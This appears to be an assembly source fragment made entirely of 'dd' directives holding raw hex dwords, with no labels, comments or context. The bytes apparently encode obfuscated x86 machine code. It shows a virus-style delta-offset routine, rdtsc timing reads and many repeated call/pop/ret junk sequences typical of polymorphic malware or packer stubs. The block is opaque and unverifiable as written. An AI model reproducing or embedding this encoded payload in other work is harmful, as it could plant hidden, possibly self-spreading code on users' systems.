		dd 0C3564600h, 53946ECCh, 10E9h, 93689F00h, 0F4FD108Bh
		dd 0B8881287h, 2C4FF843h, 81006A1Ah, 7A7BE0D3h,	0F006A7Ah
		dd 685h, 199D8900h, 8D06370Fh, 3B369185h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 8289D57Fh, 89EBF81Fh, 371879BDh, 5C08306h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EC35242h, 0B1408D98h
		dd 81A2B796h, 0C2CB8116h, 50187960h, 9E72E4BBh,	24048976h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 56C35242h
		dd 552E9756h, 6E961h, 52170000h, 0B4108C40h, 6E9006Ah
		dd 0DA000000h, 1B2CBE45h, 6A006A8Ch, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 8E9EC350h
		dd 6203801h, 0DF051D08h, 23D58529h, 95FF0637h, 6370AEDh
		dd 8DDFB70Fh, 3AA1358Dh, 599D8B06h, 0FF06371Dh,	55006AD1h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0B8983311h, 83F5EE73h, 37089DBDh, 850F0106h,	98h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0EFC35545h, 0BBCAF145h
		dd 40DCA393h, 26A67B7h,	329985BFh, 5250505Ah, 6A4EBB53h
		dd 0F5F7111h, 66525031h, 0F0B67BBh, 5ADA8B31h, 89585A58h
		dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 13BA3BC3h, 5D85898Fh, 0FF06372Bh,	370BB995h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0FF1F5F97h, 38574F29h, 0C9DE9h, 0E800h
		dd 815D0000h, 3B369BEDh, 10E806h, 0C2510000h, 0D6B6EAFEh
		dd 0C1AD8486h, 0F98DF397h, 6A5B63FDh, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 32EC357h
		dd 3970AA79h, 84C3858Dh, 8957063Ah, 371CBD95h, 60505B06h
		dd 0F525050h, 58585A31h, 52505250h, 585A310Fh, 5956310Fh
		dd 8961585Ah, 0BD032404h, 63711A9h, 35FF64h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0ED68C355h, 0C5FFABF5h, 258964h, 8B000000h
		dd 7D85FFFAh, 0F806372Ah, 0C1BFFF6Ah, 0FF178A3Bh, 372DE1B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0B05BE999h, 6CD09A2Bh, 12BB668Dh, 11E910h
		dd 9E920000h, 0DB354FD7h, 0B0EDA56Dh, 0FCB6504Dh, 0FFFDF483h
		dd 3700ED95h, 0F2E906h,	81660000h, 0B0AE61F3h, 8F0F00h
		dd 0E6000000h, 0F1958970h, 0E4063721h, 10E971h,	0C4030000h
		dd 4F987063h, 1FC84E4Ch, 0EDF0BCAEh, 613C920Dh,	0BE830Fh
		dd 0FFC0000h, 9D8BC8B6h, 63725CDh, 6BAh, 8BE9B700h, 0E8C1FCC1h
		dd 0F9B50104h, 66063712h, 0B589E2F7h, 6370D95h,	0BD8BC82Bh
		dd 6371131h, 21FD9D8Bh,	0D18B0637h, 1F39B529h, 6E90637h
		dd 81000000h, 0A6B267D7h, 81858B06h, 2906370Bh,	3713759Dh
		dd 7C08306h, 0AE9h, 29F21C00h, 0E7EDD2A4h, 83BE252Eh, 820F00C0h
		dd 4, 838DBB66h, 830FD03Bh, 11h, 6830Fh, 0BD890000h, 6370C09h
		dd 33E9h, 298D8B00h, 8306372Fh,	840F01E1h, 24h,	2DB19589h
		dd 0A5830637h, 6372F29h, 0D19D8BFEh, 89063713h,	370B8195h
		dd 159D3306h, 0E906370Bh, 0
		dd 0C90EB58Dh, 6A063Ah,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 952947C3h, 6372E41h, 0F69BE1BFh
		dd 0FF006A72h, 37321995h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 353FE1F6h
		dd 0B9DA8BCBh, 6C0h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 26C35646h, 0C615749Ch, 58D0BB66h, 0E9FCE183h
		dd 0Bh,	0A2095756h, 0ECE68593h,	0FC4E8E15h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 58C35141h, 0B88AF8h
		dd 0F000000h, 38Dh, 0D8BF0F00h,	0BA09B7h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 9668C352h, 9C3A448h,	371E1195h, 0C233AD06h, 0D003E8D1h
		dd 7504E983h, 0DEBF0FF4h, 1FE5BD8Bh, 880D0637h,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0FCFC357h, 481h, 0F9BF6600h, 75958BDFh, 0F063718h
		dd 68Eh, 0A99D2300h, 8B063713h,	3711958Dh, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 33CF9F18h, 371BEDBDh, 0C28B5006h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 8C1DC353h, 8B56C8DFh
		dd 0BD835FF9h, 6372D55h, 42840F00h, 60000000h, 6E52BA66h
		dd 6185E280h, 0B8h, 7CDB8100h, 8D0F523Bh, 374E2B8Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 91D5B78Fh, 9E1FF5Dh,	3709F1BDh, 81BD8306h, 6370Fh, 41B840Fh
		dd 0BD8B0000h, 6371065h, 0F81BD83h, 0F010637h, 42384h
		dd 61DF8100h, 833B79F7h, 370F81BDh, 860F0306h, 3DAh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 6BC35040h, 0AE8610AEh
		dd 1538FCC5h, 499D89A2h, 60063723h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 36C35040h, 12C25D84h, 661BC035h
		dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 40FF40C3h, 665C1933h, 0B656D781h,	6A04E180h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0B2D2C351h, 840FC90Ah, 10Eh, 1B318529h, 858B0637h
		dd 6372F45h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	46C35141h, 3B4FDD08h, 0D31ED412h, 1853319h, 0E9063713h
		dd 13h,	0DB354FD7h, 0B0EDA56Dh,	0FCB6504Dh, 0F0FDF483h
		dd 90AD4C44h, 0BE9h, 0E1FAE900h, 89EB885Bh, 35F770C8h
		dd 0B8666050h, 9061C85Bh, 9FDBD8Bh, 60B70637h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 77873FC3h, 5FB6875h,	8B6057E1h, 0FBEBBAF0h, 81614CD7h
		dd 6042434h, 0BD8B57FEh, 63721FDh, 2B2595FFh, 6A0637h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 8FE5BFC3h, 336732E8h, 37331DBDh, 5B858906h, 6A063AB1h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 8CEAC350h, 8ED78182h, 0E93FE6BFh,	1DAh, 11ED9589h
		dd 858B0637h, 63AB153h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 3AC35343h, 15BD09B1h,	60063705h, 22099529h
		dd 0BD310637h, 6372365h, 1800C761h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 155CC353h, 6A23857Eh, 5909BBAAh, 8A0F3171h, 6, 1CC1BD03h
		dd 0BD8B0637h, 6370CF5h, 0B157B58Bh, 0F950063Ah, 8D858B5Bh
		dd 0F06370Dh, 8B66FEB7h, 6A0689D9h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 1281C353h
		dd 40BF6632h, 45858B08h, 6A06372Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0B4E6C355h
		dd 6347FA1Fh, 0B589AD45h, 6371BFDh, 3820Fh, 8B660000h
		dd 44689DAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	7FC35141h, 0BB1B1978h, 0DBD8B8Fh, 3063704h, 37128D9Dh
		dd 0BB509606h, 2960E0B4h, 0A8B0F96h, 60000000h,	850Fh
		dd 0CF8B0000h, 1BD2B61h, 0FF06371Ah, 3AB153B5h,	0FD858906h
		dd 68063728h, 68D2867Ah, 81DF8B66h, 85852434h, 6A68CDh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0B1277CC3h, 852A6553h, 5B858DD7h, 6A063AB1h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0A3E7C355h, 0FE528C2h, 8950DEBFh, 0FE8B2404h, 133DBD23h
		dd 95FF0637h, 6372B25h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 87C35040h, 9D2B2F3Eh,	6370405h, 6A61FA8Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0A366C352h, 8185C773h, 306370Fh, 89000000h
		dd 3707618Dh, 5BBD8306h, 63AB1h, 1C840Fh, 0BD890000h, 6370411h
		dd 2CE9h, 0CE900h, 6740000h, 0CD17E2D4h, 7C3AC00Eh, 305044F4h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0EF3B6A1Ah, 6A05F44Bh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 425CC351h
		dd 0BD83410Dh, 6370F81h, 0DD850F03h, 6A000003h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 3A46C355h, 9B5A6402h, 0BD8327D0h, 63AB15Bh, 0AD840F00h
		dd 0F8000003h, 0B15BB5FFh, 0F60063Ah, 58Dh, 0E57B900h
		dd 0BD296163h, 63728D9h, 5D95FF61h, 6A063733h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0BB5BC352h, 4FB58BCFh, 80063AB1h, 6C7D7DFh, 10001h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 23C35242h
		dd 0D87CFEFCh, 665096D3h, 96A8F6BBh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 3EC35646h, 5B9AFC5Fh, 0FF1C6B0Bh
		dd 3AB15BB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 95FFFCFEh, 637183Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0EDC35646h, 13409F43h
		dd 8F0F3EEDh, 6, 10018D89h, 95090637h, 63728BDh, 0B14FB58Bh
		dd 8166063Ah, 8BA409E3h, 3705B585h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 68D8DB3Ah
		dd 0FEEDD312h, 8689D88Bh, 0C4h,	1840Fh
		dd 8BFC0000h, 37187595h, 80BF6606h, 4C283D6h, 290DBD8Bh
		dd 50890637h, 57006A20h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 59C7B2B2h, 8FA362D1h, 0BBD78166h
		dd 0D5858D68h, 0BB063AC5h, 77F77743h, 0B88689h,	8A0F0000h
		dd 2, 6AA6B3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	3EC35141h, 0A227D7E6h, 182295D1h, 0B15BB5FFh, 850F063Ah
		dd 1, 0B995FFF8h, 5006370Bh, 89D98B66h,	6A2434h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 5E8479C3h, 8BF0B0FAh, 373361BDh, 0DF8B6606h,	0B15BB5FFh
		dd 44BF063Ah, 0FF668066h, 372E4D95h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 33CB7D5Bh
		dd 7FBFED3Ah, 8E9F8h, 6D240000h, 0FAB58A08h, 0BD830225h
		dd 63719E9h, 39840F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0B0C8C353h
		dd 890F6096h, 2, 0CB8BC68Bh, 0B9605061h, 0EF0D398h, 8D899661h
		dd 6372065h, 0B15BB5FFh, 6A063Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0C29228C3h, 0FFEC3681h
		dd 3709AD95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 5386951Dh, 6860Fh, 880F0000h, 0
		dd 5BB5FF5Fh, 0F063AB1h, 95FFDABFh, 6370B75h, 12E8h, 0F0383100h
		dd 8F93E49h, 91792896h,	975AB879h, 897FAD82h, 3725659Dh
		dd 0BD835B06h, 6370409h, 70840F02h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0CF96C355h, 2BF9AA8h, 68E0Fh, 9D8B0000h, 6372565h, 8BFACF80h
		dd 37117185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 80F25D34h, 2AF00357h, 0F7819DE2h
		dd 616E70F6h, 290000C6h, 370A1DBDh, 31858906h, 0C7063725h
		dd 3731D585h, 6, 0FD7BBB00h, 10E840E8h,	1A000000h, 651212A1h
		dd 18B3DBF3h, 0D4ACB006h, 50E6D980h, 5B5BC1B3h,	0FFF43BE9h
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 335ACC31h, 0D79BD89h, 0C18B0637h, 2D8D9D2Bh
		dd 858D0637h, 6370885h,	68D0Fh,	9D8B0000h, 6372F6Dh, 24048950h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0CDC35040h
		dd 6A250D7Eh, 0C185BB00h, 6A7133h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0F4C35343h,	6320FBC7h, 0F5A719ACh
		dd 0A2858DFDh, 0B063B45h, 3700899Dh, 5C08306h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 6CC35040h, 0E298AD65h
		dd 8B5071B3h, 372E6DBDh, 0BD8B5B06h, 63729F1h, 8E0F90h
		dd 50000000h, 0CE95752h, 6000000h, 0CD8588A5h, 0D6586284h
		dd 5B16EEE0h, 6A905Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0D88652C3h, 6A5D9B2Dh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 8718DAE2h, 73CAE9B6h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0C80F5CC3h, 45981686h
		dd 8B511C74h, 3729659Dh, 95FF5B06h, 6370AEDh, 8DD88B66h
		dd 3AA1358Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0B68AEB73h, 0C8D8BB36h, 9D29F179h
		dd 6370881h, 8B0FD1FFh,	4, 7C24BB66h, 89DBD83h,	0F010637h
		dd 0E885h, 7D858900h, 6A06370Bh, 51006A02h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 933F8FF2h
		dd 0DBCC130h, 11E88Bh, 0D5BE0000h, 1DC80C42h, 6602745h
		dd 7BC9B448h, 93058ECh,	370F0185h, 52905F06h, 0BE9h, 5546FE00h
		dd 0DD127AC9h, 537C27C1h, 5057505Fh, 9E852h, 42C60000h
		dd 49BEEDFh, 5FE067F6h,	0DDBF310Fh, 5A3DF137h, 6A905F58h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0C843C355h, 38D0F7Ah, 0F000000h, 0FE9DBB7h
		dd 0E7000000h, 7B7A9895h, 6BEEAF67h, 58BF30F1h,	95FFCF0Dh
		dd 6370BB9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0E9C35040h, 0B5BD8B60h,	66063732h, 961CA8Bh, 37100D85h
		dd 0E3EE906h, 0E80000h,	5D000000h, 45ACED81h, 9D33063Bh
		dd 63717B9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	85C35040h, 0F3B3DBAh, 189h, 0D781F800h,	1AE41FBBh
		dd 84C3858Dh, 6A063Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 30DE7CC3h, 0C712F4A2h, 1CB86050h
		dd 0F0B6559h, 1981h, 14E900h, 0CE560000h, 9F797EA1h, 0B2A57066h
		dd 6B632D90h, 9C219E94h, 8961A199h, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 89A274C3h
		dd 371FF19Dh, 35FF6406h, 0
		dd 258964h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0AB05C353h,	0EE628A6Fh
		dd 2A7D85FFh, 0EF800637h, 6AFF6AA5h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 63DFC356h
		dd 6E8h, 0A5A90200h, 8BEBABA1h,	371E8D9Dh, 0B5FF5B06h
		dd 6371CB9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0B6C35747h, 8166507Ch, 0FF0A46EBh, 3700ED95h, 120E906h
		dd 81660000h, 0B0FCDACBh, 6810F00h, 89000000h, 3705D19Dh
		dd 8970E606h, 371901B5h, 6671E406h, 0BE44CB81h,	830F613Ch
		dd 0F6h, 1BDD9509h, 0B60F0637h,	9D8589C8h, 0E9063717h
		dd 0Eh,	52D90494h, 0A2DA8C02h, 3FECB0C6h, 6BA2596h, 60000000h
		dd 12E9h, 9D659C00h, 77ACC51h, 0AA0AF49Ah, 0CFFAD7A3h
		dd 61BFCE4Ch, 13999589h, 0C18B0637h, 0C1F9B70Fh, 10E904E8h
		dd 19000000h, 0E3AC4D54h, 1327BE0Eh, 728CBA6Ah,	66ACF80Ah
		dd 9FBBE2F7h, 2B3EEBA9h, 0FE9C8h, 2820000h, 53E55BDCh
		dd 9C9847D9h, 3031826h,	89D18BFCh, 371C198Dh, 10E906h
		dd 0BB660000h, 8B0F746Eh, 6, 0DB99D89h,	858B0637h, 63713B1h
		dd 0C08312B7h, 0F9BD8B07h, 8306371Bh, 8B6600C0h, 0FD03BFAh
		dd 783h, 34E900h, 0FB8B0000h, 28A18D8Bh, 0E1830637h, 23840F01h
		dd 89000000h, 37216185h, 0A1A58306h, 0FE063728h, 0FEB70F57h
		dd 0B195895Fh, 8B063713h, 3719CDBDh, 0E906h, 0B58D0000h
		dd 63AD195h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	69C35747h, 9FCEEC31h, 6D858965h, 6A06372Ah, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0ABBA2315h, 6F6351EAh, 95FFC8B7h, 6373219h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0ECC35343h, 0DEC0D249h
		dd 8D120AACh, 0EE9h, 702E9800h,	224427Dh, 0BDE4B11Eh, 29BEAAC7h
		dd 3730EDB5h, 319D2906h, 0B9063729h, 0E4Ah, 0FCE183F8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0EFC35141h
		dd 0E8C9D0BDh, 0Fh, 0FD3F469h, 2C5B4539h, 88868286h, 35C8CACh
		dd 372DB99Dh, 1FC5B06h,	370F5985h, 0B806h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 58576FC3h, 269BC0B5h, 0CE9149Dh, 7000000h, 99BF7701h
		dd 4ED64E32h, 2B44E472h, 50006AD2h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 20ADBD5Ah, 33ADF965h
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0B70F79C3h, 0D53B3FBh
		dd 88h,	401BD8Bh, 958B0637h, 6371875h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 61C35040h, 65284219h, 220B2451h
		dd 6B19BB66h, 8BFBBF0Fh, 3711958Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0E76A7EA0h
		dd 7D3501D5h, 5E935h, 0B4A20000h, 5045E97Bh, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 57006A58h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 5C6C9102h
		dd 0F8B0Fh, 0AE90000h, 47000000h, 8395C814h, 42FA809Fh
		dd 56006A8Bh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 4C68524Fh, 89647691h, 3718119Dh,	11E906h
		dd 0AC1A0000h, 3F7FDC06h, 69B08983h, 13018B62h,	8366FADCh
		dd 372D55BDh, 840F0006h, 4Fh, 2D98F381h, 0B8595Fh, 0F000000h
		dd 685h, 9DBD8900h, 89063704h, 3712C59Dh, 2B8D8D06h, 0FF06374Eh
		dd 51006AE1h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 7441CB3Bh, 0FB6E5D38h, 1E381F9h,	8344418Eh
		dd 370F81BDh, 840F0006h, 3BBh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0B7C35141h,	0C1C6B52Eh, 949989FAh
		dd 0B9DBD8Bh, 0B5890637h, 6372601h, 0F81BD83h, 0F010637h
		dd 39984h, 399D2900h, 8306371Ah, 370F81BDh, 860F0306h
		dd 350h, 3355BD29h, 6A600637h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 6AD1C351h, 85297820h
		dd 6372915h, 28C99589h,	8C660637h, 0DE8B66D9h, 6A04E180h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0AABEC356h, 22FD8D29h, 0C90A0637h, 104840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 66D008C3h, 9D8BD98Bh, 6371EEDh, 2F45858Bh
		dd 13E90637h, 0C2000000h, 78DB1A25h, 6B2246C5h,	0DFD34495h
		dd 4DA9BA09h, 853394AFh, 6371301h, 6890Fh, 9D0B0000h, 6371959h
		dd 8985B750h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0BFF982C3h, 5B13B5ADh, 7DBB006Ah
		dd 0E8304325h, 4, 1F03FFh, 0BF50D98Ah, 0AFA506Ch, 424448Bh
		dd 8BDF8Bh, 310F5250h, 585A88B7h, 4244489h, 0CE9h, 125BE300h
		dd 681BD834h, 0FC6B2B7Fh, 6A5866h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 38ABA0C3h, 890946DAh
		dd 3705A185h, 2595FF06h, 8106372Bh, 0D6EB84DBh,	5B858910h
		dd 66063AB1h, 4D10DF81h, 171E9h, 0B78BBF00h, 858B306Ch
		dd 63AB153h, 22AD9529h,	0C70637h, 18h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0E9C35242h,	935A2C8Fh, 8BD3F37Dh
		dd 3AB157B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 858B3958h, 6370D8Dh, 1A899D8Bh, 6890637h
		dd 1C4D9D8Bh, 858B0637h, 6372F45h, 12159589h, 46890637h
		dd 11E904h, 463E0000h, 0C8C87195h, 0DACA6649h, 50C2BBF0h
		dd 50ACC8B5h, 12E8h, 9F7F400h, 87F5D102h, 250D7ECDh, 83CE71Bh
		dd 5F9E8AE3h, 89243489h, 3729C995h, 53B5FF06h, 6A063AB1h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0FB1C351h, 689h, 0B99D8B00h, 0E8063701h
		dd 4, 1F03FFh, 0BB6CB360h, 18F9F7CDh, 448B5061h, 0BF660424h
		dd 8B1143h, 65BE50BBh, 2444890Ch, 58DF8B04h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0DFC35545h, 1BCB8596h
		dd 858DA61Dh, 63AB15Bh,	0DE890h, 8430000h, 0EA4E5EB0h
		dd 0D3119566h, 501A391Ah, 8D0F52h, 0F000000h, 5F585A31h
		dd 4BB6650h, 0FB8B90D6h, 2B2595FFh, 8E0F0637h, 6, 31B99D8Bh
		dd 0B7610637h, 0EF81667Fh, 85C7DCB2h, 6370F81h,	3, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 1C35747h, 0E17BEC6Ch
		dd 831E448Ah, 7C9BD8Bh,	0BD830637h, 63AB15Bh, 31840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0C262C352h,	1BD8931h
		dd 0B306371Ah, 21E9B8h,	0BD030000h, 6372B39h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 89C08B00h, 37236D85h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0BFF88B1Ah, 0C31DD81h, 0F81BD83h, 0F030637h
		dd 4A885h, 0CCD78000h, 0B15BBD83h, 0F00063Ah, 49884h, 0D9B70F00h
		dd 0B15BB5FFh, 6A063Ah,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0C7BFC5C3h, 0CD8D89DCh, 0FF063722h
		dd 37335D95h, 6E806h, 5F060000h, 391406B4h, 2176DF81h
		dd 665B2EA4h, 3AE1D781h, 0B14FB58Bh, 6A063Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 54E891C3h
		dd 3D326E02h, 0CF813B63h, 5D19537Bh, 0DDCC4CBBh, 106C725h
		dd 6A000100h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 7BCAC356h, 7B0DAC17h, 0FE90A60h
		dd 62000000h, 174EF5CEh, 9BEB6209h, 0B23A56A3h,	0E8509EDFh
		dd 7, 0F0D2D984h, 57B4E723h, 61578DBBh,	895B5B37h, 6A2434h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0B5FF3FC3h, 63AB15Bh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 12C35646h, 0DB63E7BFh, 7DBD2B58h, 8B06372Fh
		dd 37297D9Dh, 3D95FF06h, 6A063718h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 3193C352h
		dd 0BD53796h, 37113DBDh, 4FB58B06h, 6A063AB1h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 3A78C355h, 8FF04E44h, 8B17454Dh, 3719DD9Dh, 0A1958906h
		dd 0F063725h, 858BDEBFh, 63705B5h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 8EC35545h, 92D253A8h, 0C4868914h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 3235C353h, 0B15D2D52h,	12E8E9h
		dd 0BC510000h, 0C484AFBDh, 85FEB712h, 0A0D618A3h, 30D11746h
		dd 75958B5Fh, 66063718h, 25AAD781h, 6A04C283h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
